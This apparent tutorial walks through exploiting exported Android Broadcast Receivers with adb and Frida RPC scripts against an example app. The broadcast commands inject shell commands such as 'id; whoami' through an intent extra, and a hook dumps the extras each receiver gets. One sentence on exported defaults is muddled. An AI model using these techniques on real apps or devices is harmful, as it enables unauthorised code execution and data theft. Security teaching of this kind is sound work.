Android App Penetration Testing & Frida Hooks

Android IPC Hacking Lab: Reverse Engineering & Exploiting Broadcast Receivers with Frida RPC

Google AdSense Native Placement - Horizontal Top-Post banner

Android IPC Hacking Lab: Reverse Engineering & Exploiting Broadcast Receivers with Frida RPC

Android’s Inter-Process Communication (IPC) mechanisms are fundamental for app functionality, enabling components to interact securely. Among these, Broadcast Receivers are a core IPC component, allowing apps to listen for and respond to system-wide or app-specific broadcast messages. While essential, misconfigurations or vulnerabilities in Broadcast Receivers can expose apps to serious security risks, including privilege escalation, data leakage, and denial of service. This lab explores how to identify, reverse engineer, and exploit vulnerable Broadcast Receivers using Frida’s powerful RPC capabilities, providing a practical guide for Android penetration testers and security researchers.

Understanding Broadcast Receivers and Their Vulnerabilities

Broadcast Receivers are Android components that primarily respond to broadcast messages (Intents) from other applications or from the system itself. They can be registered in two primary ways:

  • Statically: Declared in the AndroidManifest.xml file. These receivers are discoverable and can be invoked even when the app is not running.
  • Dynamically: Registered programmatically in Java/Kotlin code using Context.registerReceiver(). These typically operate only while the registering component is active.

Key vulnerability vectors associated with Broadcast Receivers often arise from:

  • Lack of Permissions: Exported receivers (android:exported="true" or implicitly true if an <intent-filter> is present) without proper permission checks can be invoked by any app on the device.
  • Improper Intent Filtering: Overly broad or generic intent filters can expose sensitive functionality, allowing unintended triggers.
  • Dangerous Intent Extras: Processing untrusted data from incoming intents without rigorous validation can lead to various injection attacks, logic flaws, or even remote code execution depending on how the data is handled.

Setting Up Your Hacking Lab

To follow along with this lab, you’ll need the following:

  • Rooted Android device or emulator: (e.g., AVD, Genymotion, NoxPlayer) with ADB access.
  • Android SDK Platform Tools: (adb) installed on your host machine.
  • Frida and Frida-server: Installed on your host machine (pip install frida-tools) and the Android device/emulator, respectively. Ensure the frida-server version matches your Frida tools version.
  • Python 3: For writing Frida host scripts.
  • Decompiler: (e.g., Jadx-GUI, Ghidra, APKTool) for static analysis of APKs.

Start frida-server on your Android device (ensure it’s executable and running with root privileges):

adb shellsu -c /data/local/tmp/frida-server &

Identifying Broadcast Receivers

Static Analysis (AndroidManifest.xml)

The most straightforward way to find statically declared receivers is by decompiling the target APK and inspecting its AndroidManifest.xml. Look for the <receiver> tag:

<receiver android:name=".VulnerableReceiver" android:exported="true" android:permission="com.example.app.DANGEROUS_PERMISSION">    <intent-filter>        <action android:name="com.example.VULNERABLE_ACTION"/>        <category android:name="android.intent.category.DEFAULT"/>    </intent-filter></receiver>

Key attributes to scrutinize:

  • android:name: The fully qualified class name of the receiver.
  • android:exported: If "true", it can be invoked by any app. If "false", only by the same app or apps with the same user ID. If an <intent-filter> is present and exported isn’t explicitly set, it defaults to "true" for API level 31+ it defaults to false.
  • android:permission: Specifies a permission that an external app must hold to invoke this receiver. Absence of this is a common vulnerability.

Dynamic Analysis (Frida)

For dynamically registered receivers, you’ll need dynamic analysis. Frida can hook methods like Context.registerReceiver() or PackageManager.queryBroadcastReceivers() to identify them during runtime. This is beyond the scope of this particular lab but an important technique to be aware of.

Basic Exploitation with adb shell am broadcast

If you identify an exported receiver without proper permission protection, you can often trigger it directly using the adb shell am broadcast command. Let’s assume our VulnerableReceiver expects a string extra named command and executes it (a common, albeit simplified, vulnerability):

adb shell am broadcast -a com.example.VULNERABLE_ACTION --es command "ls -l /data/data/com.example.app"

While effective for simple triggers, directly sending broadcasts via adb offers limited feedback and complex interaction. This is where Frida’s RPC capabilities become invaluable.

Advanced Exploitation with Frida RPC

Frida RPC (Remote Procedure Call) allows you to define JavaScript functions in your Frida script that can be directly called from your Python host script. This creates a powerful bridge between your attacker machine and the target process, enabling complex dynamic interactions, method invocation, and real-time observation.

Targeting an Example Vulnerable Receiver

Let’s consider a target app com.example.app with a VulnerableReceiver that, upon receiving an intent, processes an extra. We’ll use Frida to both send the broadcast and hook the receiver’s onReceive method to observe its internal behavior.

Frida RPC Script (frida_ipc_exploit.js)

Create a file named frida_ipc_exploit.js:

rpc.exports = {    sendVulnerableBroadcast: function (action, extraKey, extraValue) {        return new Promise(function (resolve, reject) {            Java.perform(function () {                try {                    var Intent = Java.use("android.content.Intent");                    var ActivityThread = Java.use("android.app.ActivityThread");                    var currentApplication = ActivityThread.currentApplication();                    var context = currentApplication.getApplicationContext();                    var intent = Intent.$new(action);                    // Add necessary flags if the receiver is in another application or requires a new task                    // intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);                     if (extraKey && extraValue) {                        intent.putExtra(extraKey, extraValue);                    }                    context.sendBroadcast(intent);                    resolve("Broadcast sent successfully for action: " + action);                } catch (e) {                    reject("Error sending broadcast: " + e.toString());                }            });        });    },    hookReceiverMethod: function (receiverClassName, methodName) {        return new Promise(function (resolve, reject) {            Java.perform(function () {                try {                    var TargetReceiver = Java.use(receiverClassName);                    var hook = TargetReceiver[methodName].implementation;                    TargetReceiver[methodName].implementation = function (context, intent) {                        var extras = intent.getExtras();                        var logMessage = "[Frida Hook] " + receiverClassName + "." + methodName + " called!n";                        if (extras != null) {                            var bundle = Java.use("android.os.Bundle").$new(extras);                            var keys = bundle.keySet();                            var iterator = keys.iterator();                            while (iterator.hasNext()) {                                var key = iterator.next();                                var value = bundle.get(key);                                logMessage += "    Extra: " + key + " = " + value + "n";                            }                        }                        console.log(logMessage); // Log to Frida console                        resolve(logMessage); // Resolve with log message to Python script                        return hook.call(this, context, intent); // Call original method                    };                    resolve("Hooked " + receiverClassName + "." + methodName);                } catch (e) {                    reject("Error hooking method: " + e.toString());                }            });        });    }};

Python Host Script (exploit.py)

Create a file named exploit.py:

import fridaimport sysdef on_message(message, data):    print(f"[*] Message from Frida: {message}")def main():    try:        # Attach to the target application. Replace "com.example.app" with your target package name.        process = frida.get_usb_device().attach("com.example.app") # For USB connected device        # Or for a locally running frida-server:        # process = frida.attach("com.example.app")        # Load the Frida RPC script        with open("frida_ipc_exploit.js", "r") as f:            script_code = f.read()        script = process.create_script(script_code)        script.on("message", on_message)        script.load()        # Get the RPC exports        api = script.exports        # Example 1: Hook the onReceive method of the target receiver        print("[+] Calling RPC method to hook receiver method...")        hook_result = api.hook_receiver_method("com.example.app.VulnerableReceiver", "onReceive")        print(f"[+] RPC Hook Result: {hook_result}")        # Example 2: Send a broadcast directly via RPC, triggering the hooked method        print("[+] Calling RPC method to send broadcast to trigger the hook...")        broadcast_result = api.send_vulnerable_broadcast("com.example.VULNERABLE_ACTION", "message", "Hello Frida from RPC!")        print(f"[+] RPC Broadcast Result: {broadcast_result}")        # Example 3: Send another broadcast with a simulated command        print("[+] Sending another broadcast with a 'command' extra...")        command_broadcast_result = api.send_vulnerable_broadcast("com.example.VULNERABLE_ACTION", "command", "id; whoami")        print(f"[+] RPC Command Broadcast Result: {command_broadcast_result}")        # Keep the script running to observe further messages from hooks        print("[+] Press Enter to detach...")        sys.stdin.read()    except frida.core.RPCException as e:        print(f"[!] RPC Error: {e}")    except Exception as e:        print(f"[!] An unexpected error occurred: {e}")    finally:        if 'process' in locals() and process:            process.detach()            print("[*] Detached from process.")if __name__ == "__main__":    main()

To run this, ensure both files are in the same directory, and then execute the Python script:

python3 exploit.py

You will see output in your terminal from both the Python script and the Frida script's console.log(), demonstrating how Frida RPC allows seamless interaction and observation within the target process.

Mitigation Strategies

To secure Broadcast Receivers and prevent the types of exploitation demonstrated:

  • Permissions: Always protect exported Broadcast Receivers with custom permissions or appropriate system permissions. Define custom permissions with the <permission> tag and enforce them with android:permission on the receiver.
  • android:exported="false": By default, set exported to false unless external invocation is absolutely necessary. This dramatically limits the attack surface.
  • Specific Intent Filters: Be as specific as possible with intent filters. Avoid overly broad actions or categories that could be easily guessed or abused.
  • Input Validation: Always validate and sanitize any data received via Intent extras, even if protected by permissions. Treat all incoming data as untrusted.
  • Local Broadcast Manager: For inter-component communication within the same application, use LocalBroadcastManager (part of AndroidX). This mechanism is much more secure as it prevents other apps from intercepting or sending broadcasts intended only for your app's internal components.

Conclusion

Broadcast Receivers are a powerful but often misunderstood component of Android IPC. By leveraging robust tools like static analysis (decompilers), basic command-line utilities (adb), and especially the advanced dynamic instrumentation capabilities of Frida RPC, penetration testers can effectively identify and exploit misconfigured receivers. Understanding these vulnerabilities, from their root causes to their exploitation vectors, is crucial for developing robust Android applications and for performing comprehensive security assessments that protect user data and device integrity.

Android Mobile Specs & Compare Directory

Are you researching mobile hardware properties, processor SoCs, GPU chipsets, or RAM configurations? Access our complete specs catalog to compare up to 5 devices side-by-side!

Compare Devices Specs →
Google AdSense Inline Placement - Content Footer banner